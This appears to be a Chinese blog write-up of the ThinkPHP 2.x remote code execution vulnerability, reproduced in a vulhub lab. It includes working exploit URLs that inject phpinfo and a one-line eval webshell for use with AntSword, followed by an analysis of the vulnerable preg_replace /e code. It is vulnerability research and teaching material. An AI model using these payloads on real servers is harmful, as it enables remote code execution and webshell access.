ThinkPHP系列漏洞分析-2.x任意代码执行


环境部署

使用vulhub进行部署https://vulhub.org/ ,具体参考百度即可。

ThinkPHP2.x任意代码执行

启动环境

启动环境

访问环境

访问靶机环境

漏洞利用条件

thinkphp2.x或ThinkPHP3.0[因3.0版本Lite模式下没有修复该漏洞] && PHP版本为5.6.29以下

查看版本

通过报错和查看网络报文可以看到thinkphp为2.1版本,PHP为5.5.38。

漏洞利用

查看phpinfo

http://xxxxx:8080/index.php?s=/index/index/xxx/${@phpinfo()}

poc查看phpinfo

构造一句话木马

http://xxxxx:8080/index.php?s=/index/index/xxx/${@print(eval($_POST[1]))}

这里直接将url构造好,复制到蚁剑一键连接即可,此方法不需要将一句话木马写到服务器上。

蚁剑连接一句话

到此漏洞利用结束。

漏洞原理

漏洞存在的文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

Dispatcher.class.php

关键漏洞代码

self::getPathInfo();

if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
  $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
  $var  =  array();
  if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
    $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
    if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
      // 禁止直接访问分组
      exit;
    }
  }
  if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
    $var[C('VAR_MODULE')]  =   array_shift($paths);
  }
  $var[C('VAR_ACTION')]  =   array_shift($paths);
  // 解析剩余的URL参数
  $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
  $_GET   =  array_merge($var,$_GET);
        }
preg_replace('正则规则','替换字符','目标字符') /e为执行模式

如果该正则规则表达式中使用了/e修饰符,那么就会存在代码执行漏洞

thinkphp2.x有漏洞的代码是:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

对应上面的表达式就是

正则表达式:'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e'
替换字符:'$var[\'\\1\']="\\2";'
目标字符:implode($depr,$paths))

可控的位置是implode($depr,$paths))

implode是将数组拼接成字符串,作用是将传过来的$path,以$depr为分隔连接起来。$depr表示网页路径的”分隔符”[也就是当前目录”/“];$path是从$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'))传递过来的,explode是将字符串以$depr打散成数组,也就是把a/b/c${@print(eval($_POST[1]))}打散重组。

正则表达式匹配的分析

首先\w+匹配到一个以上字符,接下来$depr匹配到一个网页路径分隔符,([^’.$depr.’/]+),首先[^abcd]表示匹配abcd以外的所有字符,因此,原式所匹配的规则为匹配一个或多个除网页分隔符和”"以外的字符,将输入匹配到的结果为a/b,c/${@print(eval($_POST[1]))},php这里的@符号,可能是为了防止出现不必要的报错。【尝试将@去掉,并没有报错】

preg_replace函数理解

preg_replace('/aaa(+?)aaa/ies',$a,$b)

‘i’取消大小写敏感,当$a为一个可以传递参数的函数例如test(),$b为一个匹配到正则表达式的字符串如”aaaaabbbbaaaaa”,最后输出的结果是test(bbbb),函数处理的结果加上了[aaaa]

原本应该被匹配掉的替换了bbbb竟然被作为了参数传入了替换的函数中去,并且被执行了,所以当替换目标字符可控,我们就可以构造想要被执行的函数,比如写个一句话木马。

这里还有一个知识点就是${}里面写的变量名为已知函数名称时,函数会被执行,输出结果会以报错的形式回显。

为什么是index.php

ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://servername/index.php(或者其他入口文件)/模块/控制器/操作/[参数名/参数值]
如果不支持APTHINFO的服务器可以使用兼容模式访问如下:
http://servername/index.php(或者其他入口文件)?s=/模块/控制器/操作/[参数名/参数值]

文章作者: meta-Fariy
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 meta-Fariy !
  目录